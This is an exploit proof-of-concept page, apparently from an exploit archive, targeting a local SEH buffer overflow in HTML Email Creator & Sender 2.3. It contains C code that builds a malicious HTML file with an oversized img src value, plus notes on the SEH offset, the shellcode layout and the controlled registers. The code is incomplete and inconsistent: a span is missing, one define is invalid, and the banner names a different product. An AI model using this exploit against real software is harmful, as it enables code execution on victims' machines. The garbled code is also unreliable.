=============================================================== HTML Email Creator & Sender 2.3 Local Buffer Overflow PoC (SEH) =============================================================== /*0day HTML Email Creator & Sender v2.3 Local Buffer Overflow(Seh) Poc ******************************************************************** Debugging info Seh handler is overwriten , the offset is at 60 bytes in our buffer so you have to build your buffer as follows: [PONTER TO NEXT SEH]-------[SEH HANDLER]----[NOP]------[SHELLCODE] | | | | JMP 4 bytes POP POP RET 50*0x90 calc.exe ********************************************************************* Code execution is possible. CPU Registers EAX 00000000 ECX 00000208 EDX 00000000 EBX 00000029 ESP 0012E224 EBP 7C8101B1 kernel32.lstrcpynA ESI 90909090 <------------------CONTROLED EDI 00001209 EIP 0042E1C7 HtmlEmai.0042E1C7 */ #include #include #include #include #include typedef struct Start { uint8_t sh; uint8_t st; uint8_t sm; uint8_t sl; }HTML; typedef struct Middle { uint8_t sh; uint8_t se; uint8_t sa; uint8_t sd; }HEAD; typedef struct End { uint8_t sb; uint8_t so; uint8_t sD; uint8_t sy; }BODY; #define BUFFERSIZE 0x1A0A #define FILESIZE 29A #define SRC "

sh = 0x48; ht_ml->st = 0x54; ht_ml->sm = 0x4D; ht_ml->sl = 0x4C; //second structure //HEAD "\x48\x45\x41\x44" he_ad->sh = 0x48; he_ad->se = 0x45; he_ad->sa = 0x41; he_ad->sd = 0x44; //thierd structure //"\x42\x4F\x44\x59" bo_dy->sb = 0x42; bo_dy->so = 0x4F; bo_dy->sD = 0x44; bo_dy->sy = 0x59; FILE *f; f = fopen(fname, "w"); if( f == NULL) { exit(-1); } int32_t offset = 0; memcpy(memBuffer, "<", 1); offset += 1; memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml)); offset += sizeof(ht_ml); memcpy(memBuffer+offset, ">", 1); offset += 1; memcpy(memBuffer+offset, "<", 1); offset += 1; memcpy(memBuffer+offset, he_ad, sizeof(he_ad)); offset += sizeof(he_ad); memcpy(memBuffer+offset, ">", 1); offset += 1; memcpy(memBuffer+offset, "<", 1); offset += 1; memcpy(memBuffer+offset, "\\", 1); offset += 1; memcpy(memBuffer+offset, he_ad, sizeof(he_ad)); offset += sizeof(he_ad); memcpy(memBuffer+offset, ">", 1); offset += 1; memcpy(memBuffer+offset, "<", 1); offset += 1; memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy)); offset += sizeof(bo_dy); memcpy(memBuffer+offset, ">", 1); offset += 1; uint8_t shit[] ={ 0x3C,0x69,0x6D,0x67,0x20,0x73,0x72,0x63,0x3D }; memcpy(memBuffer+offset, shit, sizeof(shit)); offset += sizeof(shit); memset(memBuffer+offset, 0x22, 1); offset += 1; memset(memBuffer+offset, 0x41, 4616); offset += 4616; memset(memBuffer+offset, 0x22, 1); offset += 1; memcpy(memBuffer+offset, ">", 1); offset += 1; memcpy(memBuffer+offset, "<", 1); offset += 1; memcpy(memBuffer+offset, "\\", 1); offset += 1; memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy)); offset += sizeof(bo_dy); memcpy(memBuffer+offset, ">", 1); offset += 1; memcpy(memBuffer+offset, "<", 1); offset += 1; memcpy(memBuffer+offset, "\\", 1); offset += 1; memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml)); offset += sizeof(ht_ml); memcpy(memBuffer+offset, ">", 1); offset += 2; fwrite(memBuffer, offset , 1, f); fwrite("\x00", 1, 1, f); printf("File Done!\n"); } int main(int argc, char *argv[]) { char *fname = argv[1]; system("CLS"); fprintf(stdout , ":: ::\n"); fprintf(stdout , "Embedthis Appweb Remote Stack Overflow POC\n"); fprintf(stdout , "All Credits:fl0 fl0w\n"); fprintf(stdout , ":: ::\n"); if(argc < 2) { printf("Usage is %s filename.html\n", argv[0]); exit(-1); } Fbuild(fname); return 0; } # 0day.today [2017-12-31] #

Query Builder